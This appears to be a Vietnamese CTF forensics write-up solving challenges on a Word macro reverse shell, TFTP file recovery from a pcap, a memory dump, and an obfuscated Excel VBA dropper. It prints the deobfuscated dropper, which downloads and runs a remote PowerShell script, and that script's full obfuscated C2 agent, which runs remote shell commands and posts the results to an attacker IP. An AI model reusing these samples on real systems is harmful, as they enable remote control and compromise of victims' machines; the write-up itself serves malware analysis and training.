    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    revShell = worked
    MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"
End Function

Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Private Sub Document_Open()
    Dim success As Boolean
    success = revShell()
    MsgBox "You have bên hacked!!"
End Sub
Sub Autoopen()
Document_Open
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Autoopen            |Runs when the Word document is opened        |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|RtlMoveMemory       |May inject code into another process         |
|IOC       |192.168.25.135      |IPv4 address                                 |
|IOC       |ws2_32.dll          |Executable file name                         |
+----------+--------------------+---------------------------------------------+
```

Có thể thấy đây là một đoạn code reverse shell khác, và flag ở trong đoạn code.

### flag: `CHH{If_u_w4nt_1_will_aft3rnull_u}`

## Trivial FTP

Giải nén ra mình được 1 file pcapng, mình sử dụng Wireshark để mở. Việc đầu tiên là kiểm tra `Protocol Hierachy Statistics` để xem có những giao thức nào để sử dụng trong quá trình.

![](https://hackmd.io/_uploads/H1f6YPFY3.png)

Áp dụng `TFTP` làm filter, mình phát hiện có 1 file `flag.pdf` được truyền tải qua giao thức này:

![](https://hackmd.io/_uploads/By5LcPKY3.png)

[Nghiên cứu](http://isp.vsi.ru/library/Networking/TCPIPIllustrated/tftp_tri.htm) về giao thức này, mình biết được, 1 packet sẽ có tối đa 516 bytes, trong đó data chiếm 512 bytes, `opcode` và `blocknum` mỗi cái chiếm 2 bytes, vì vậy mình cần phải loại 4 bytes đầu của mỗi packet. Đồng thời, file được truyền bằng `netascii`, nên các ký tự EOL cũng bị làm hư hỏng, vì thế mình cần sửa `0d0a` (CRLF) thành `0a` (LF); `0d00` (CRnul) thành `0d` (CR). Mình sử dụng python để thay thế cho nhanh:

```python=
import os

CR = b'\x0d'
LF = b'\x0a'
CRLF = CR + LF
NUL = b'\x00'
CRNUL = CR + NUL

if isinstance(os.linesep, bytes):
    NL = os.linesep
else:
    NL = os.linesep.encode("ascii")

def from_netascii(data):
    pattern = b'(\x0d\x0a|\x0d\x00)'
    
    def convert_from_netascii(match_obj):
        if match_obj.group(0) == CRLF:
            return NL
        elif match_obj.group(0) == CRNUL:
            return CR
    
    return pattern.sub(convert_from_netascii, data)

with open("flag.pdf", "rb") as f:
    t = f.read()

x = bytearray()

buffer_size = 8192

for i in range(4, len(t), buffer_size):
    x.extend(t[i:i+buffer_size])

with open("flag_new.pdf", "wb") as f:
    f.write(from_netascii(x).replace(b"\r\n", b"\n"))
```

Và mình có file flag cuối cùng:

![](https://hackmd.io/_uploads/HyiXb_FFh.png)

### flag: `CHH{FTP_4nd_TFTP_4r3_b0th_un$af3`


## Báo cáo dang dở
Tải về và giải nén được một file memory dump, mình dùng Volatility để phân tích file này.
```
vol.exe -f "MEMORY.DMP" windows.pslist.PsList
```
Dùng `pslist`, ta được list các process và từ đề bài có thể thấy được cần tập trung vào process `WINWORD.EXE` - PID: `1736`

```
vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736 
```
Output:
```
PID	Process	Offset	HandleValue	Type	GrantedAccess	Name
...

1736	WINWORD.EXE	0xf8a001cebbf0	0x718	Section	0xf0007	
1736	WINWORD.EXE	0xfa80040fd2f0	0x71c	Event	0x1f0003	OleDfRootC3E09668F74F21C5
1736	WINWORD.EXE	0xfa80041e2070	0x720	File	0x12019f	\Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
1736	WINWORD.EXE	0xfa8004652e80	0x724	File	0x13019f	\Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP
1736	WINWORD.EXE	0xf8a00229c2f0	0x728	Section	0xf0007	
1736	WINWORD.EXE	0xfa8003df8f60	0x730	Event	0x1f0003	
1736	WINWORD.EXE	0xfa8003d930f0	0x734	Event	0x1f0003	
1736	WINWORD.EXE	0xfa800462ae60	0x738	ALPC Port	0x1f0001	
1736	WINWORD.EXE	0xfa80040f5550	0x73c	Thread	0x1fffff	Tid 1216 Pid 1736
1736	WINWORD.EXE	0xfa800452ddc0	0x740	Event	0x1f0003
```
Đã tìm thấy file AutoRecovery quý giá, dump nó bằng lệnh:
```
vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736 
```

![](https://media.discordapp.net/attachments/1115650271322849310/1128010294673809459/vota1.png?width=917&height=468)

Mờ file AutoRecovery bằng word và mình có flag:

### flag: `CHH{4ut0R3c0v3r_s4v3_my_l1f3}`

## Under Control

Sau khi tải về và giải nén, mình thu thập được 1 file pcap. Mở bằng wireshark, có thể thấy file pcap này ghi lại các packet giữa 2 máy tính kết nối với nhau. Nhận thấy đây là 1 file pcap khá nặng, mình check các HTTP Objects được gửi và tìm thấy 1 file excel.

![](https://media.discordapp.net/attachments/1115650271322849310/1128001520865124454/image.png?width=1440&height=287)

Tải file này xuống và mở thử, mình được 1 file nhìn không giống malware 1 chút nào:

![](https://cdn.discordapp.com/attachments/1115650271322849310/1128001653090566344/image.png)

Nhận thấy có sự yêu cầu bật Macro, mình sử dụng tool [olevba]() để phân tích file này và phát hiện có sử dụng VBA Macro. Tuy nhiên file VBA này đã bị obsfucate nặng nề, sử dụng các ký tự Unicode để đặt làm tên biến khiến cho việc đọc code rất khó khăn.

```
teebow1e@wwc:~$ olevba Danh20sC3A1ch20phC3B2ng20thi.xls
olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Danh20sC3A1ch20phC3B2ng20thi.xls
Type: OLE

Sub Auto_Open()
Workbook_Open
End Sub
Sub AutoOpen()
Workbook_Open
End Sub
Sub WorkbookOpen()
Workbook_Open
End Sub
Sub Document_Open()
Workbook_Open
End Sub
Sub DocumentOpen()
Workbook_Open
End Sub
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåØ¶§Ú¥"
»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
```
(mình đã lược bỏ bớt output để tránh writeup bị dài dòng)

Sau khi rename lại các biến, loại bỏ 1 số dòng code k sử dụng đến, mình có được đoạn code:
```vba=
Function function1(parameter1)
    printable_letter = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåØ¶§Ú¥"
    garbage = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
    For y = 1 To Len(parameter1)
        find_some_letters = InStr(printable_letter, Mid(parameter1, y, 1))
        If find_some_letters > 0 Then
            string_slicing = Mid(garbage, find_some_letters, 1)
            garbage2 = garbage2 + string_slicing
        Else
            garbage2 = garbage2 + Mid(parameter1, y, 1)
        End If
End Function
Sub Workbook_Open()
    Dim wscript_object As Object
    Dim full_path_to_AppData As String
    Dim unsure_garbage As String
    Dim unsure_garbage2 As String
    Dim some_string As Integer
    some_string = Chr(50) + Chr(48) + Chr(48)
    Set wscript_object = CreateObject("WScript.Shell")
    full_path_to_AppData = wscript_object.SpecialFolders("AppData")
    Dim operation
    Dim important_data
    Dim unsure_garbage3
    Dim index As Long
    Dim index2 As String
    Dim unsure_garbage4 As Long
    Dim garbage3 As String
    Dim index3 As Long
    Dim index4 As String
    Dim unsure_garbage5 As String
    Dim garbage3 As Long
    Dim do_something_to_AppData
    Dim run_a_program
    Dim important_data_2 As Integer
    Dim something_internet
    Dim unsure_garbage_6
    important_data_2 = 1
    Range("A1").Value = function1("4BEiàiuP3x6¿QEi³")
    Dim important_data_3 As String
    weird_text = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
    important_data_3 = function1(weird_text)
    MsgBox important_data_3, vbInformation, function1("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
    Dim date_1 As Date
    Dim date_2 As Date
    date_1 = Date
    date_2 = DateSerial(2023, 6, 6)
    If date_1 < date_2 Then
        Set something_internet = CreateObject("microsoft.xmlhttp")
        Set run_a_program = CreateObject("Shell.Application")
        do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@")
        something_internet.Open "get", function1("Ü³³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
        something_internet.send
        important_data = something_internet.responseBody
        If something_internet.Status = 200 Then
            Set operation = CreateObject("adodb.stream")
            operation.Open
            operation.Type = important_data_2
            operation.Write important_data
            operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2
            operation.Close
        End If
        run_a_program.Open (do_something_to_AppData)
    Else
        MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
    End If
End Sub
```

Mình nhận thấy đoạn code này chủ yếu là decrypt các ký tự Unicode, sau đó fetch 1 file từ trên mạng, sau đó chạy nó. Chính vì thế, mình đã clean lại code, decrypt các dòng Unicode bằng `function1`:


```vba=
Sub Workbook_Open()
    Dim wscript_object As Object
    Dim full_path_to_AppData As String
    Dim unsure_garbage As String
    Dim unsure_garbage2 As String
    Dim some_string As Integer
    some_string = 200
    Set wscript_object = CreateObject("WScript.Shell")
    full_path_to_AppData = wscript_object.SpecialFolders("AppData")
    Dim operation
    Dim important_data
    Dim unsure_garbage3
    Dim index As Long
    Dim index2 As String
    Dim unsure_garbage4 As Long
    Dim garbage3 As String
    Dim index3 As Long
    Dim index4 As String
    Dim unsure_garbage5 As String
    Dim garbage3 As Long
    Dim do_something_to_AppData
    Dim run_a_program
    Dim important_data_2 As Integer
    Dim something_internet
    Dim unsure_garbage_6
    important_data_2 = 1
    Range("A1").Value = Opening document
    Dim important_data_3 As String
    important_data3 = "You have been hacked and your important documents have been stolen!" & vbCrLf & "To retrieve these data, you are required to transfer 100k to the following bank account number:" & vbCrLf & "1010107112000" & vbCrLf & "Account holder: Nguyen Thanh Long" & vbCrLf & "Bank: MB Bank"

    MsgBox important_data_3, vbInformation, function1("We deeply regret to inform you")
    Dim date_1 As Date
    Dim date_2 As Date
    date_1 = Date
    date_2 = DateSerial(2023, 6, 6)
    If date_1 < date_2 Then
        Set something_internet = CreateObject("microsoft.xmlhttp")
        Set run_a_program = CreateObject("Shell.Application")
        do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@")
        something_internet.Open "get", function1("https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1"), FALSE
        something_internet.send
        important_data = something_internet.responseBody
        If something_internet.Status = 200 Then
            Set operation = CreateObject("adodb.stream")
            operation.Open
            operation.Type = important_data_2
            operation.Write important_data
            operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2
            operation.Close
        End If
        run_a_program.Open (do_something_to_AppData)
    Else
        MsgBox
    End If
End Sub
```

> https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1

Ồ, một cái tên thật quen thuộc và một đường link hiện ra. Tải file Powershell kia về và chạy, mình có layer tiếp theo, cũng bị obsfucate:

```=
PS C:\Users\teebow1e\Documents> C:\Users\teebow1e\Documents\stage_final.ps1
${8r`T3WA}  = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.
s','p') ;.('SV') ("{0}{1}"-f '72','j5O')  (  [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0
}"-f 'Y.','toGRapH','p'),'ng','aD')  ) ;   ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT')  ;  ${H`LvW1} =  [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),
'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX');  .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92'))  (  [Type]("{1}{2}{0}" -F ("{1}{0}{2
}"-f 'NEt.dn','eM.','S'),'Sys','t'))  ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {
    
    ${AJuJ`V`RAZ`99}           = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','
ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae'))
    ${AJUjvr`AZ`99}."Mo`de"      =   (  .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI'))  ("8rt"+"3Wa") -Value  )::"c`Bc"
    ${aJuj`V`RAZ99}."PA`d`dInG"   =  ( .("{0}{1}"-f 'Di','r')  ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab')  )."VA`LUe"::"ze`Ros"
    ${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128
    ${Aju`Jv`RAz`99}."keysI`ze"   = 256
    
    if (${5`TM`RWPluy}) {
        
        if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) {
            ${a`j`U`jvRaZ99}."Iv" =  (&("{1}{0}"-f'r','di')  ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`P
l`Uy})
        }
        
        else {
            ${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy}
        }
    }
    
    if (${Vx`ZtM`FF}) {
        
        if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) {
            ${ajU`j`VraZ99}."K`ey" =  ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`K
e"(${vx`z`TmFF})
        }
        
        else {
            ${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff}
        }
    }
    
    ${aJUjvRA`Z`99}
}
function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {
    
    ${B`y`TES}             =   (  .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v')  (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`Fpd
QRF99})
    ${ajujVR`AZ`99}        = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff}
    ${qD`IqL`GaQ99}         = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"()
    ${lw`i`hYmIF99}     = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh");
    [byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99}
    ${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"()
     ${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})
}
function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {
    
    ${bYT`Es}           =   (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR')  ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`
jRx`qcF99})
    ${5t`MR`WpLuY}              = ${B`Y`Tes}[0..15]
    ${aJu`JVra`z99}      = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY}
    ${MNDm`WYnB`99}       = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"();
    ${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16);
    ${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"()
      ${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)
}
function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){
    
    ${Cw`zVY`VJ}                        = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','t
e'),'S',("{0}{2}{1}"-f'm.Di','st','agno'))
    ${Cw`ZVy`Vj}."FIlena`me"               = ${DFjZ1`co}
    ${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR"  = ${T`Rue}
    ${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue}
    ${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te"        = ${F`ALsE}
    ${c`wzvy`VJ}."aRg`UmENtS"              = ${yO8`x`m5}
    ${p}                            = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1
}" -f 'ces','s'),'S')
    ${P}."s`T`ArTiN`FO"                  = ${C`W`zvYVj}
    
    ${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou')
    ${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()
    
    ${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"()
    ${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"()
    ${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99")
    ${K`cnJcQ`Dl}
}
${FZvyCr}   = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))
${t`wFTrI} = ("{0}{1}"-f'7','331')
${VxzTmff}  = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{
0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))
${n}    = 3
${C`w`j2TWh} = ""
${yC`RU`Tw} =   ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()
${F`N`FFGXDzj}  = "p"
${D`FctD`FM}  = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kV`QBXbuR}  = @{
    ("{0}{1}"-f 'n','ame') = "$YCRUTw" 
    ("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ"
    }
${CWj2`TWh}  = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"
${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${i`JfySE2}   = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
    
    ${M`A04XM`gY}  = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"
    
    if (-Not  ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){
        
        ${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY}
        ${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"()
        ${FL`AG} = ${MA04`x`mgY}[0]
        
        if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){
            
            ${WB1`SWYo`je} = ${MA04`X`MgY}[1]
            ${yO8`X`M5S}    = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"]
            if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){
            
                ${F}    = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe')
                ${y`O`8XM5}  = "/c "
            
                foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " }
                ${KcNJ`C`QdL}  = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5}
                ${kCnjCQ`DL}  = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl}
                ${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}
                
                &("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','
POS')
            }
            elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){
            
                ${f}    = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.')
                ${yO`8X`m5}  = "/c "
            
                foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " }
                ${kc`Nj`cqdL}  = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5}
                ${k`cn`jCQDL}  = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl}
                ${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}
                
                &("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P')
            }
            elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){
                ${n}    = [int]${yO`8Xm`5S}[0]
                ${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""}
                &("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS')
            }
            elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){
                
                ${c`wJ2t`Wh}    = ${Y`O8Xm`5S}[0]
                ${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
                ${ijF`Ys`E2}   = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
            
                ${kV`Qb`XbUr}    = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""}
                .("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P')
            }
            elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){
                exit
            }
        }
